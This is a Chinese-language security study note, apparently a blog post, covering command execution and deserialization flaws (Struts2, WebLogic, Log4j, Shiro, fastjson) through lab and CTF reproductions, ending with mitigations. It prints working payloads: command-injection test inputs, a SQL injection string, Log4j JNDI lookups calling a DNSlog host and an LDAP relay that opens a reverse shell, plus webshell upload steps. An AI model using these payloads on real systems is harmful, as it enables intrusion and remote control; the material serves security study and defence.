命令执行(RCE)与反序列化

  1. 命令执行(RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。):
    • 分类:
      • 远程系统命令执行 exec()、system()、assert():
        • 设计者在编写代码时没有做严格的安全控制,导致攻击者通过接口或相关参数提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器 。
        • 涉及系统命令:assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号)
      • 远程代码执行  eval():
        • 没有对对接口输入的内容进行严格判断,造成攻击者精心构造的代码非法执行。
        • 涉及代码命令:eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
    • 命令执行测试方法:
      • &
      • &&  (搜索框输入127.0.0.1&&ipconfig 进行测试)
      • |
      • || (搜索框输入127.0.0.1||ipconfig 进行测试)
    • 查找命令执行漏洞:
      • 只要带参数的地方都可能出现命令执行漏洞,留言的地方,搜索框
      • 常见的路由器、防火墙、入侵检测、自动化运维平台
    • 代码执行:
      • 命令执行(RCE)与反序列化_第1张图片

       

    • 总结一句话:
      • 参数给变量的时候,交给了一个不安全的函数(eval、exex、system等)处理。
    • struts2框架漏洞(s2-045、s2-046、s2-048都是命令执行漏洞,没有反序列化漏洞)实战 (手工测试:在user-agent头里边插入攻击代码,攻击代码码包含struts2字眼) | 面试经常问:
      • K8 Struts2 Exp工具测试struts2漏洞 | S2-045漏洞复现
      • 命令执行(RCE)与反序列化_第2张图片
      • 上传至指定目录文件:
      • 命令执行(RCE)与反序列化_第3张图片
      • Struts2  漏洞检查工具2018版 使用 上传木马到 网站根目录,使用菜刀进行连接  S2-046漏洞复现
      • 命令执行(RCE)与反序列化_第4张图片

       

       

       

  2. 反序列化(将字符串转换为对象),序列化(将对象转化为字符串) | 其实就是一串编码后的代码,相当与代码执行:
    • 原理:
      • 就是把一个对象变成可以传输的字符串,目的就是为了方便传输
      • 命令执行(RCE)与反序列化_第5张图片

       

    • 条件:
      • 参数必须是可控的
      • 不正确的使用了魔术函数
      • 命令执行(RCE)与反序列化_第6张图片

       

    • 分类:
      • php反序列化 |  serialize() 序列化,将对象转换成一个字符串、unserialize() 反序列化,将字符串转化成对象
        • 原理:
          • 未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。
          • 命令执行(RCE)与反序列化_第7张图片
          • #PHP 反序列化
            原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码
            执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行
            反序列化的时候就有可能会触发对象中的一些魔术方法。

            serialize() //将一个对象转换成一个字符串
            unserialize() //将字符串还原成一个对象

            触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:

            参考:https://www.cnblogs.com/20175211lyz/p/11403397.html

            __construct()    //创建对象时触发
            __destruct()     //对象被销毁时触发
            __call()             //在对象上下文中调用不可访问的方法时触发
            __callStatic() //在静态上下文中调用不可访问的方法时触发
            __get()             //用于从不可访问的属性读取数据
            __set()             //用于将数据写入不可访问的属性
            __isset()         //在不可访问的属性上调用 isset()或 empty()触发
            __unset()         //在不可访问的属性上使用 unset()时触发
            __invoke()         //当脚本尝试将对象调用为函数时触发
          • 命令执行(RCE)与反序列化_第8张图片

           

           

        • 有类(class)
          • 触发魔术方法 (__construct  |  __destruct | __wakeup | __tostring   )
        • 无类
          • 命令执行(RCE)与反序列化_第9张图片

           

      • java反序列化
        • 原理:
          • 命令执行(RCE)与反序列化_第10张图片

           

        • 过程:
          • 命令执行(RCE)与反序列化_第11张图片
          • 命令执行(RCE)与反序列化_第12张图片

           

        • 理解:
          • #序列化和反序列化

            序列化(Serialization): 将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。

            反序列化:从存储区中读取该数据,并将其还原为对象的过程,称为反序列化。
        • 反序列化特征:
          • 一段数据以 rO0AB 开头,基本就可以确定这串就是JAVA序列化base64加密的数据
          • 以aced开头,基本就是java序列化的16进制
        • java反序列化实战(CTF考题):
          • 打开靶场环境:
          • 命令执行(RCE)与反序列化_第13张图片
          • 下载文档clas,查看存在sql注入漏洞:
          • 命令执行(RCE)与反序列化_第14张图片
          • 火狐hackbar修改为post提交,发包到bp
          • 命令执行(RCE)与反序列化_第15张图片
          • 构建sql注入payload:dbName=myapp?a=' union select (select pwd from user)#
          • 命令执行(RCE)与反序列化_第16张图片
          • 分析代码得出有swagger-ui框架,直接地址栏输入即可展现页面:
          • 命令执行(RCE)与反序列化_第17张图片
          • 命令执行(RCE)与反序列化_第18张图片
          • 找到/common/user/login 输入获得的账号密码: 账号:ctfhub    密码:ctfhub_28331_21767。登录成功
          • 命令执行(RCE)与反序列化_第19张图片

           

           

           

           

           

           

           

         

      • jboss反序列化利用(直接使用java反序列化工具利用漏洞,工具更快一点,看见是jboss中间件的web应用,就应该想到利用这个工具):
        • 命令执行(RCE)与反序列化_第20张图片

         

      • weblogic反序列化漏洞利用(使用工具进行漏洞利用):
        • 命令执行(RCE)与反序列化_第21张图片

         

      • weblogic任意文件上传漏洞利用(CVE-2018-2894):
      • weblogic包含哪些漏洞:
        • Java 反序列化漏洞操作(CVE-2018-2628)、
          任意文件上传漏洞操作(CVE-2018-2894)、XML Decoder 反序列化漏洞操作(CVE-2017-10271)、SSRF 漏洞(需要安装Weblogic时选择UDDI组件)、反序列化漏洞(CVE-2019-2725、未授权访问
    • 应用:
      • 真实应用下
      • 各种CTF比赛中
    • 危害:
      • SQL注入
      • 代码执行
      • 目录遍历
    • apache log4j漏洞复现(CVE-2021-44228):
      • 特征码:Dlog4j2
      • log4j说明:Apache Log4j是Apache的一个开源项目,Apache log4j2是Log4j的升级版本,用户可以控制日志信息输送的目的地为控制台、文件、GUI 组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
      • 影响版本:Log4j2.x - Log4j2.15.0-rcl
      • 危害:高危,该漏洞影响范围极广,危害极大。
      • 表现:Apache log4j2的版本在 2.0 ~ 2.14.1之间时,存在JNDI注入漏洞,攻击者可以控制日志消息或日志消息参数,在启用消息查找替换时执行从LDAP服务器加载的任意代码。
      • vulhub靶场搜索 log4j:find  /root/vulhub -name "log4j"
      • 进入对应靶场环境,docker启动环境:
      • 命令执行(RCE)与反序列化_第22张图片
      • docker ps查看靶场信息:
      • 地址栏输入地址进入靶场:
      • 命令执行(RCE)与反序列化_第23张图片
      • 使用DNSlog平台测试回显,payload:{jndi:dns://{jndi:dns://{sys:java.version}.example.com}是利用JNDI发送DNS请求的Payload:
      • 地址栏直接访问:http://140.143.36.109:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.jby81f.dnslog.cn}
      • 命令执行(RCE)与反序列化_第24张图片
      • 可以看到回显java版本是 1.8,说明存在漏洞
      • 命令执行(RCE)与反序列化_第25张图片
      • 反弹shell:
        • 攻击者ip:192.168.56.133
        • 靶机ip:192.168.56.148
        • 中转机ip:192.168.56.166
      • 流程:
        • 首先在中转机使用JNDIExploit-1.2-SNAPSHOT.jar文件使用java启动,命令如下:
        • java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.56.166
        • 然后在攻击机上开启监听:
        • 命令执行(RCE)与反序列化_第26张图片
        • 构建payload:http://192.168.56.148:8983/solr/admin/cores?action=${jndi:ldap://192.168.56.166:1389/Basic/ReverseShell/192.168.56.133/6666}
        • 查看攻击机反弹shell成功:
        • 命令执行(RCE)与反序列化_第27张图片
        • 此时中转机器上:
        • 命令执行(RCE)与反序列化_第28张图片

         

         

         

         

      • 漏洞缓解措施:
        • jvm参数 -Dlog4j2.formatMsgNoLookups=true
        • log4j2.formatMsgNoLookups=True
        • 升级补丁到 log4j2.15

       

       

       

       

       

    • apache shiro安全框架反序列化漏洞(CVE-2016-4437)复现:
      • Apache shiro是一个Java安全框架,提供了认证、授权、加密和会话管理功能,为解决应⽤安全提供了相应的API
      • 特征码:请求包里边有rememberme参数
      • 进入vulhub-master/shiro/CVE-2016-4437目录下
        docker环境启动:docker-compose up -d
      • 打开shiro web框架网站:
      • 命令执行(RCE)与反序列化_第29张图片
      • 使用ShiroExploit.jar 进行漏洞测试,反弹shell
      • 命令执行(RCE)与反序列化_第30张图片
      • 反弹shell成功
      • 命令执行(RCE)与反序列化_第31张图片

       

       

       

       

    • fastjson漏洞(1.2.47-rce 远程命令执行漏洞复现):
      • fastjson简介:fastjson是一个Java语言编写的高性能功能完善的JSON库。
      • 漏洞原因:checkAutoType 黑名单中可绕过
      • 漏洞背景:在2019年6月,fastjson 被爆出在 fastjson< =1.2.47 的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。
      • 漏洞分析:此漏洞利用的核心点是java.lang.class这个java的基础类,在fastjson 1.2.48以前的版本没有做该类做任何限制,加上代码的一些逻辑缺陷,造成黑名单以及autotype的绕过。
    • Thinkphp漏洞复现(2-rce漏洞复现):
      • 影响版本:Thinkphp5.0-5.0.23
      • 实验环境:
        • 靶机:centos 7虚拟机IP(192.168.56.132)
        • 攻击机:windows 10物理机(192.168.15.133)
  3. 安全防范:
    • waf
    • 安全配置好php相关参数:通过Php.ini配置文件里面有个disable_functions = 配置,这个禁止某些php函数,
      服务器便是用这个来禁止php的执行命令函数
    • 升级中间件
    • 严格控制传入变量,严谨使用魔法函数

你可能感兴趣的:(web安全)